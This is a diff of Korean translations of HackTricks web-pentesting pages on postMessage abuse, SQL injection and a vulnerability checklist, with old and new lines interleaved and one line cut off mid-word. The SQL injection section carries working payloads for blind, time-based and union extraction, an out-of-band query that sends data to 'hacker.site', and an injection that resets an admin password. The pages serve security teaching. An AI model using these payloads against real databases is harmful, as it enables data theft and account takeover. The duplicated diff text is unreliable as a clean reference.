다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. **자식**에서 **XSS**를 악용하여 데이터가 수신되기 전에 **데이터를 유출**합니다:
다음 페이지에서는 **메인** 페이지를 차단한 후 **자식 iframe**에 전송된 **민감한 postmessage 데이터**를 어떻게 훔칠 수 있는지 보여줍니다. 이 과정에서 **자식**의 **XSS**를 악용하여 데이터가 수신되기 전에 **유출**합니다:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
### iframe 위치 수정으로 메시지 훔치기
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **자식 iframe의 위치를 변경**할 수 있습니다. 만약 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하고 있다면, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하 메시지를 **훔칠** 수 있습니다:
X-Frame-Header가 없는 웹페이지를 iframe으로 삽입할 수 있다면, **자식 iframe****위치****변경**할 수 있습니다. 만약 **와일드카드**를 사용하여 전송된 **postmessage**를 수신하고 있다면, 공격자는 그 iframe의 **출처**를 자신이 **제어하는** 페이지로 **변경**하 메시지를 **훔칠** 수 있습니다:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
### postMessage를 통한 프로토타입 오염 및/또는 XSS
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 **페이지를 iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **전송**하여 악용할 수 있습니다.
`postMessage`를 통해 전송된 데이터가 JS에 의해 실행되는 시나리오에서는 **페이지****iframe**으로 삽입하고 **프로토타입 오염/XSS**를 **악용**하여 `postMessage`를 통해 익스플로잇을 전송할 수 있습니다.
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)에서 **postMessage**를 통한 **XSS**에 대한 몇 가지 **매우 잘 설명된 사례**를 찾을 수 있습니다.
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)에서 **postMessage**를 통한 **XSS**에 대한 **매우 잘 설명된** 사례를 찾을 수 있습니다.
`postMessage`를 통해 `iframe`으로 **프로토타입 오염 후 XSS**를 악용하는 예시:
`iframe`으로의 `postMessage`를 통한 **프로토타입 오염 및 XSS**를 악용하는 익스플로잇의 예:
```html
<html>
<body>
@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
```
자세한 정보는 다음을 참조하세요:
- [**프로토타입 오염**](../deserialization/nodejs-proto-prototype-pollution/)에 대한 페이지 링크
- [**XSS**](../xss-cross-site-scripting/)에 대한 페이지 링크
- [**프로토타입 오염**](../deserialization/nodejs-proto-prototype-pollution/index.html)에 대한 페이지 링크
- [**XSS**](../xss-cross-site-scripting/index.html)에 대한 페이지 링크
- [**클라이언트 측 프로토타입 오염에서 XSS로**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)에 대한 페이지 링크
## 참고 문헌

View File

@ -4,11 +4,11 @@
## What is SQL injection?
An **SQL injection**는 공격자가 애플리케이션의 **데이터베이스 쿼리**에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정**, 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
An **SQL injection** is a security flaw that allows attackers to **interfere with database queries** of an application. This vulnerability can enable attackers to **view**, **modify**, or **delete** data they shouldn't access, including information of other users or any data the application can access. Such actions may result in permanent changes to the application's functionality or content or even compromision of the server or denial of service.
## Entry point detection
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL injection (SQLi)**에 **취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터를 주입하는 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별하는 것을 요구합니다. 다음은 유용한 몇 가지 예입니다:
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
```
[Nothing]
'
@ -70,7 +70,7 @@ page.asp?id=1 and 1=2 -- results in false
### 타이밍으로 확인하기
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는** 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드 시간에 **영향을 미치는** 것입니다.\
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는** 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드 시간에 **영향을 미치게 하는** 것입니다.\
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
```
MySQL (string concat and logical ops)
@ -93,7 +93,7 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
일부 경우 **sleep 함수가 허용되지 않을 수 있습니다**. 그런 경우, 이러한 함수를 사용하는 대신 **복잡한 작업을 수행하는 쿼리**를 만들 수 있습니다. _이러한 기술의 예는 각 기술에 대해 별도로 설명될 것입니다 (있는 경우)_.
일부 경우 **sleep 함수가 허용되지 않을 수 있습니다**. 그런 경우, 이러한 함수를 사용하는 대신 **복잡한 작업을 수행하는 쿼리**를 만들 수 있습니다. _이러한 기술의 예는 각 기술에 대해 별도로 설명될 것입니다 (있는 경우)_.
### 백엔드 식별
@ -136,12 +136,12 @@ SQLite
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## 유니온 기반 악용
## Union 기반 악용
### 열의 수 감지
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 악용 방법입니다.\
우선, **초기 요청**이 반환하는 **열의 수**를 알아내야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
우선, **초기 요청**이 반환하는 **열**의 **수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
#### Order/Group by
@ -204,9 +204,9 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## 블라인드 SQLi 활용하기
## Blind SQLi 활용하기
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **return**할 때 페이지의 내용이 다르기 때문에 구분할 수 있습니다.\
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **반환**할 때 페이지의 내용이 다르다는 것을 **구별**할 수 있습니다.\
이 경우, 그 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@ -219,19 +219,19 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Exploiting Time Based SQLi
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나, 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [SQLi 취약점 확인](#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [confirm a SQLi vuln](#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
스택 쿼리를 사용하여 **여러 쿼리를 연속으로 실행**할 수 있습니다. 후속 쿼리가 실행되는 동안 **결과**는 **응용 프로그램에 반환되지** 않음을 유의하십시오. 따라서 이 기술은 주로 **블라인드 취약점**과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
스택 쿼리를 사용하여 **여러 쿼리를 연속으로 실행**할 수 있습니다. 후속 쿼리가 실행되는 동안 **결과**는 **응용 프로그램에 반환되지 않습니다**. 따라서 이 기술은 주로 **블라인드 취약점**과 관련하여 사용되며, 두 번째 쿼리를 사용하여 DNS 조회, 조건부 오류 또는 시간 지연을 트리거할 수 있습니다.
**Oracle**은 **스택 쿼리**를 지원하지 않습니다. **MySQL, Microsoft** 및 **PostgreSQL**은 이를 지원합니다: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
**다른** 취약점 이용 방법이 **작동하지** 않는 경우, **데이터베이스가** 정보를 **외부 호스트**로 유출하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
**다른** 취약점 이용 방법이 **작동하지 않는 경우**, **데이터베이스**가 **외부 호스트**로 정보를 **유출**하도록 시도할 수 있습니다. 예를 들어, DNS 쿼리를 통해:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```
## 자동화된 익스플로잇
[SQLMap Cheatsheet](sqlmap/)를 확인하여 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)으로 SQLi 취약점을 익스플로잇하세요.
[SQLMap Cheatsheet](sqlmap/index.html)를 확인하여 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)으로 SQLi 취약점을 익스플로잇하세요.
## 기술별 정보
@ -249,11 +249,11 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
- [MySQL](mysql-injection/)
- [MySQL](mysql-injection/index.html)
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
- [PostgreSQL](postgresql-injection/index.html)
[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.**
**MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
## 인증 우회
@ -334,7 +334,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
`ON DUPLICATE KEY UPDATE` 절은 MySQL에서 UNIQUE 인덱스나 PRIMARY KEY에서 중복 값이 발생하는 행을 삽입하려고 할 때 데이터베이스가 취할 행동을 지정하는 데 사용됩니다. 다음 예시는 이 기능이 관리자의 계정 비밀번호를 수정하는 데 어떻게 악용될 수 있는지를 보여줍니다:
페이로드 주입:
페이로드 주입:
주입 페이로드는 다음과 같이 작성될 수 있으며, 두 개의 행이 `users` 테이블에 삽입되려고 시도됩니다. 첫 번째 행은 미끼이고, 두 번째 행은 비밀번호를 업데이트할 의도로 기존 관리자의 이메일을 대상으로 합니다:
```sql
@ -344,13 +344,13 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`을 위한 것이고, 다른 하나는 `admin_generic@example.com`을 위한 것입니다.
- `admin_generic@example.com`에 대한 행이 이미 존재하는 경우, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
- 따라서, 인증은 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
- 따라서 인증은 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
### 정보 추출
#### 동시에 2개의 계정 만들
#### 두 개의 계정을 동시에 생성하
새 사용자와 사용자 이름을 만들려고 할 때, 비밀번호와 이메일이 필요합니다:
새 사용자와 사용자 이름을 생성하려고 할 때, 비밀번호와 이메일이 필요합니다:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -359,7 +359,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### Using decimal or hexadecimal
이 기술을 사용하면 단 1개의 계정을 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석을 달 필요가 없다는 것입니다.
이 기술을 사용하면 단 1개의 계정을 생성하여 정보를 추출할 수 있습니다. 주의할 점은 아무것도 주석 처리할 필요가 없다는 것입니다.
Using **hex2dec** and **substr**:
```sql
@ -389,7 +389,7 @@ Example:
```
## WAF 우회
[여기에서 초기 우회](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[초기 우회는 여기에서](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### 공백 없는 우회

View File

@ -10,7 +10,7 @@
> 요즘 **웹** **애플리케이션**은 일반적으로 어떤 종류의 **중개** **프록시**를 사용하며, 이는 취약점을 악용하는 데 (악용)될 수 있습니다. 이러한 취약점은 취약한 프록시가 필요하지만, 일반적으로 백엔드에 추가적인 취약점도 필요합니다.
- [ ] [**Hop-by-hop 헤더 악용**](abusing-hop-by-hop-headers.md)
- [ ] [**캐시 오염/캐시 기만**](cache-deception/)
- [ ] [**캐시 오염/캐시 기만**](cache-deception/index.html)
- [ ] [**HTTP 요청 스머글링**](http-request-smuggling/)
- [ ] [**H2C 스머글링**](h2c-smuggling.md)
- [ ] [**서버 측 포함/엣지 측 포함**](server-side-inclusion-edge-side-inclusion-injection.md)
@ -22,7 +22,7 @@
> [!NOTE]
> 대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
> 데이터의 구조에 따라 서버가 기대하는 일부 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
> 데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 적용되지 않을 수도 있습니다.
### **반사된 값**
@ -31,20 +31,20 @@
- [ ] [**클라이언트 측 템플릿 주입**](client-side-template-injection-csti.md)
- [ ] [**명령 주입**](command-injection.md)
- [ ] [**CRLF**](crlf-0d-0a.md)
- [ ] [**덩글링 마크업**](dangling-markup-html-scriptless-injection/)
- [ ] [**파일 포함/경로 탐색**](file-inclusion/)
- [ ] [**떠 있는 마크업**](dangling-markup-html-scriptless-injection/index.html)
- [ ] [**파일 포함/경로 탐색**](file-inclusion/index.html)
- [ ] [**열린 리다이렉트**](open-redirect.md)
- [ ] [**프로토타입 오염을 통한 XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**서버 측 포함/엣지 측 포함**](server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**서버 측 요청 위조**](ssrf-server-side-request-forgery/)
- [ ] [**서버 측 템플릿 주입**](ssti-server-side-template-injection/)
- [ ] [**서버 측 요청 위조**](ssrf-server-side-request-forgery/index.html)
- [ ] [**서버 측 템플릿 주입**](ssti-server-side-template-injection/index.html)
- [ ] [**리버스 탭 납치**](reverse-tab-nabbing.md)
- [ ] [**XSLT 서버 측 주입**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](xss-cross-site-scripting/)
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](xs-search/)
- [ ] [**XS-Search**](xs-search/index.html)
언급된 일부 취약점은 특별한 조건이 필요하고, 다른 일부는 단순히 내용이 반영되기만 하면 됩니다. 취약점을 빠르게 테스트할 수 있는 흥미로운 폴리글롯을 찾을 수 있습니다:
언급된 취약점 중 일부는 특별한 조건이 필요하고, 다른 일부는 단순히 내용이 반영되기만 하면 됩니다. 다음에서 취약점을 빠르게 테스트할 수 있는 흥미로운 폴리글롯을 찾을 수 있습니다:
{{#ref}}
pocs-and-polygloths-cheatsheet/
@ -52,30 +52,30 @@ pocs-and-polygloths-cheatsheet/
### **검색 기능**
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있는 경우, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있다면, 임의의 데이터를 검색하기 위해 (악용)할 수 있습니다.
- [ ] [**파일 포함/경로 탐색**](file-inclusion/)
- [ ] [**파일 포함/경로 탐색**](file-inclusion/index.html)
- [ ] [**NoSQL 주입**](nosql-injection.md)
- [ ] [**LDAP 주입**](ldap-injection.md)
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
- [ ] [**SQL 주입**](sql-injection/)
- [ ] [**SQL 주입**](sql-injection/index.html)
- [ ] [**XPATH 주입**](xpath-injection.md)
### **양식, 웹소켓 및 PostMsg**
### **양식, 웹소켓 및 PostMsgs**
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 양식이 있을 때 취약점이 발생할 수 있습니다.
- [ ] [**교차 사이트 요청 위조**](csrf-cross-site-request-forgery.md)
- [ ] [**교차 사이트 웹소켓 탈취 (CSWSH)**](websocket-attacks.md)
- [ ] [**PostMessage 취약점**](postmessage-vulnerabilities/)
- [ ] [**PostMessage 취약점**](postmessage-vulnerabilities/index.html)
### **HTTP 헤더**
웹 서버에서 제공하는 HTTP 헤더에 따라 일부 취약점이 존재할 수 있습니다.
- [ ] [**클릭재킹**](clickjacking.md)
- [ ] [**콘텐츠 보안 정책 우회**](content-security-policy-csp-bypass/)
- [ ] [**쿠키 해킹**](hacking-with-cookies/)
- [ ] [**콘텐츠 보안 정책 우회**](content-security-policy-csp-bypass/index.html)
- [ ] [**쿠키 해킹**](hacking-with-cookies/index.html)
- [ ] [**CORS - 잘못된 구성 및 우회**](cors-bypass.md)
### **우회**
@ -85,7 +85,7 @@ pocs-and-polygloths-cheatsheet/
- [ ] [**2FA/OTP 우회**](2fa-bypass.md)
- [ ] [**결제 프로세스 우회**](bypass-payment-process.md)
- [ ] [**캡차 우회**](captcha-bypass.md)
- [ ] [**로그인 우회**](login-bypass/)
- [ ] [**로그인 우회**](login-bypass/index.html)
- [ ] [**경쟁 조건**](race-condition.md)
- [ ] [**요금 제한 우회**](rate-limit-bypass.md)
- [ ] [**비밀번호 재설정 우회**](reset-password.md)
@ -93,10 +93,10 @@ pocs-and-polygloths-cheatsheet/
### **구조화된 객체 / 특정 기능**
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 종류의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 유형의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 **특정 기능**은 **특정 형식의 입력이 사용될 경우** 취약할 수 있습니다 (예: 이메일 헤더 주입).
- [ ] [**역직렬화**](deserialization/)
- [ ] [**역직렬화**](deserialization/index.html)
- [ ] [**이메일 헤더 주입**](email-injections.md)
- [ ] [**JWT 취약점**](hacking-jwt-json-web-tokens.md)
- [ ] [**XML 외부 엔티티**](xxe-xee-xml-external-entity.md)
@ -105,9 +105,9 @@ pocs-and-polygloths-cheatsheet/
파일 업로드를 허용하는 기능은 여러 문제에 취약할 수 있습니다.\
사용자 입력을 포함한 파일을 생성하는 기능은 예기치 않은 코드를 실행할 수 있습니다.\
사용자가 업로드한 파일이나 사용자 입력을 포함한 자동 생성된 파일을 열면 위험에 처할 수 있습니다.
사용자가 업로드한 파일이나 사용자 입력을 포함하여 자동으로 생성된 파일을 열면 손상될 수 있습니다.
- [ ] [**파일 업로드**](file-upload/)
- [ ] [**파일 업로드**](file-upload/index.html)
- [ ] [**수식 주입**](formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF 주입**](xss-cross-site-scripting/pdf-injection.md)
- [ ] [**서버 측 XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@ -115,7 +115,7 @@ pocs-and-polygloths-cheatsheet/
### **외부 신원 관리**
- [ ] [**OAUTH를 통한 계정 탈취**](oauth-to-account-takeover.md)
- [ ] [**SAML 공격**](saml-attacks/)
- [ ] [**SAML 공격**](saml-attacks/index.html)
### **기타 유용한 취약점**
@ -124,6 +124,6 @@ pocs-and-polygloths-cheatsheet/
- [ ] [**도메인/서브도메인 탈취**](domain-subdomain-takeover.md)
- [ ] [**IDOR**](idor.md)
- [ ] [**매개변수 오염**](parameter-pollution.md)
- [ ] [**유니코드 정규화 취약점**](unicode-injection/)
- [ ] [**유니코드 정규화 취약점**](unicode-injection/index.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -7,11 +7,11 @@
## 프록시
> [!NOTE]
> 요즘 **웹** **애플리케이션**은 일반적으로 어떤 종류의 **중개** **프록시**를 사용하며, 이는 취약점을 악용하는 데 (악용)될 수 있습니다. 이러한 취약점은 취약한 프록시가 필요하지만, 일반적으로 백엔드에서 추가적인 취약점도 필요합니다.
> 요즘 **웹** **애플리케이션**은 일반적으로 어떤 종류의 **중개** **프록시**를 **사용합니다**, 이는 취약점을 악용하는 데 (악용)될 수 있습니다. 이러한 취약점은 취약한 프록시가 필요하지만, 일반적으로 백엔드에서 추가적인 취약점도 필요합니다.
- [ ] [**Hop-by-hop 헤더 악용**](../abusing-hop-by-hop-headers.md)
- [ ] [**캐시 오염/캐시 기만**](../cache-deception.md)
- [ ] [**HTTP 요청 스머글링**](../http-request-smuggling/)
- [ ] [**HTTP 요청 스머글링**](../http-request-smuggling/index.html)
- [ ] [**H2C 스머글링**](../h2c-smuggling.md)
- [ ] [**서버 측 포함/엣지 측 포함**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Cloudflare 드러내기**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
@ -22,6 +22,108 @@
> [!NOTE]
> 대부분의 웹 애플리케이션은 **사용자가 나중에 처리될 데이터를 입력할 수 있도록 허용합니다.**\
> 데이터의 구조에 따라 서버가 기대하는 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
> 데이터의 구조에 따라 서버가 기대하는 일부 취약점이 적용될 수도 있고 그렇지 않을 수도 있습니다.
### **반
### **반사된 값**
입력된 데이터가 응답에 반영될 수 있는 경우, 페이지는 여러 문제에 취약할 수 있습니다.
- [ ] [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)
- [ ] [**명령 주입**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**덩어리 마크업**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**파일 포함/경로 탐색**](../file-inclusion/index.html)
- [ ] [**열린 리다이렉트**](../open-redirect.md)
- [ ] [**프로토타입 오염을 통한 XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**서버 측 포함/엣지 측 포함**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**서버 측 요청 위조**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**서버 측 템플릿 주입**](../ssti-server-side-template-injection/index.html)
- [ ] [**리버스 탭 납치**](../reverse-tab-nabbing.md)
- [ ] [**XSLT 서버 측 주입**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
언급된 취약점 중 일부는 특별한 조건이 필요하고, 다른 일부는 단순히 내용이 반영되기만 하면 됩니다. 다음에서 취약점을 빠르게 테스트할 수 있는 흥미로운 폴리글롯을 찾을 수 있습니다:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **검색 기능**
기능이 백엔드 내에서 어떤 종류의 데이터를 검색하는 데 사용될 수 있는 경우, 이를 (악용)하여 임의의 데이터를 검색할 수 있습니다.
- [ ] [**파일 포함/경로 탐색**](../file-inclusion/index.html)
- [ ] [**NoSQL 주입**](../nosql-injection.md)
- [ ] [**LDAP 주입**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL 주입**](../sql-injection/index.html)
- [ ] [**XPATH 주입**](../xpath-injection.md)
### **양식, WebSockets 및 PostMsgs**
웹소켓이 메시지를 게시하거나 사용자가 작업을 수행할 수 있도록 하는 양식이 있을 때 취약점이 발생할 수 있습니다.
- [ ] [**교차 사이트 요청 위조**](../csrf-cross-site-request-forgery.md)
- [ ] [**교차 사이트 WebSocket 탈취 (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage 취약점**](../postmessage-vulnerabilities/index.html)
### **HTTP 헤더**
웹 서버에서 제공하는 HTTP 헤더에 따라 일부 취약점이 존재할 수 있습니다.
- [ ] [**클릭재킹**](../clickjacking.md)
- [ ] [**콘텐츠 보안 정책 우회**](../content-security-policy-csp-bypass/index.html)
- [ ] [**쿠키 해킹**](../hacking-with-cookies/index.html)
- [ ] [**CORS - 잘못된 구성 및 우회**](../cors-bypass.md)
### **우회**
일부 특정 기능에서는 우회하는 데 유용할 수 있는 여러 가지 해결 방법이 있을 수 있습니다.
- [ ] [**2FA/OTP 우회**](../2fa-bypass.md)
- [ ] [**결제 프로세스 우회**](../bypass-payment-process.md)
- [ ] [**캡차 우회**](../captcha-bypass.md)
- [ ] [**로그인 우회**](../login-bypass/index.html)
- [ ] [**경쟁 조건**](../race-condition.md)
- [ ] [**요금 제한 우회**](../rate-limit-bypass.md)
- [ ] [**비밀번호 재설정 우회**](../reset-password.md)
- [ ] [**등록 취약점**](../registration-vulnerabilities.md)
### **구조화된 객체 / 특정 기능**
일부 기능은 **데이터가 매우 특정한 형식으로 구조화되어야** 합니다 (예: 언어 직렬화 객체 또는 XML). 따라서 애플리케이션이 해당 유형의 데이터를 처리해야 하므로 취약점을 식별하기가 더 쉽습니다.\
일부 **특정 기능**은 **특정 형식의 입력이 사용될 경우** 취약할 수 있습니다 (예: 이메일 헤더 주입).
- [ ] [**역직렬화**](../deserialization/index.html)
- [ ] [**이메일 헤더 주입**](../email-injections.md)
- [ ] [**JWT 취약점**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML 외부 엔티티**](../xxe-xee-xml-external-entity.md)
### 파일
파일 업로드를 허용하는 기능은 여러 문제에 취약할 수 있습니다.\
사용자 입력을 포함한 파일을 생성하는 기능은 예기치 않은 코드를 실행할 수 있습니다.\
사용자가 업로드한 파일이나 사용자 입력을 포함하여 자동으로 생성된 파일을 열면 손상될 수 있습니다.
- [ ] [**파일 업로드**](../file-upload/index.html)
- [ ] [**수식 주입**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF 주입**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**서버 측 XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **외부 신원 관리**
- [ ] [**OAUTH를 통한 계정 탈취**](../oauth-to-account-takeover.md)
- [ ] [**SAML 공격**](../saml-attacks/index.html)
### **기타 유용한 취약점**
이러한 취약점은 다른 취약점을 악용하는 데 도움이 될 수 있습니다.
- [ ] [**도메인/서브도메인 탈취**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**매개변수 오염**](../parameter-pollution.md)
- [ ] [**유니코드 정규화 취약점**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
3. 보호를 우회할 수 있습니까?
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/)을 악용할 수 있습니까?
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
2. **HTML 태그 내부**에서:
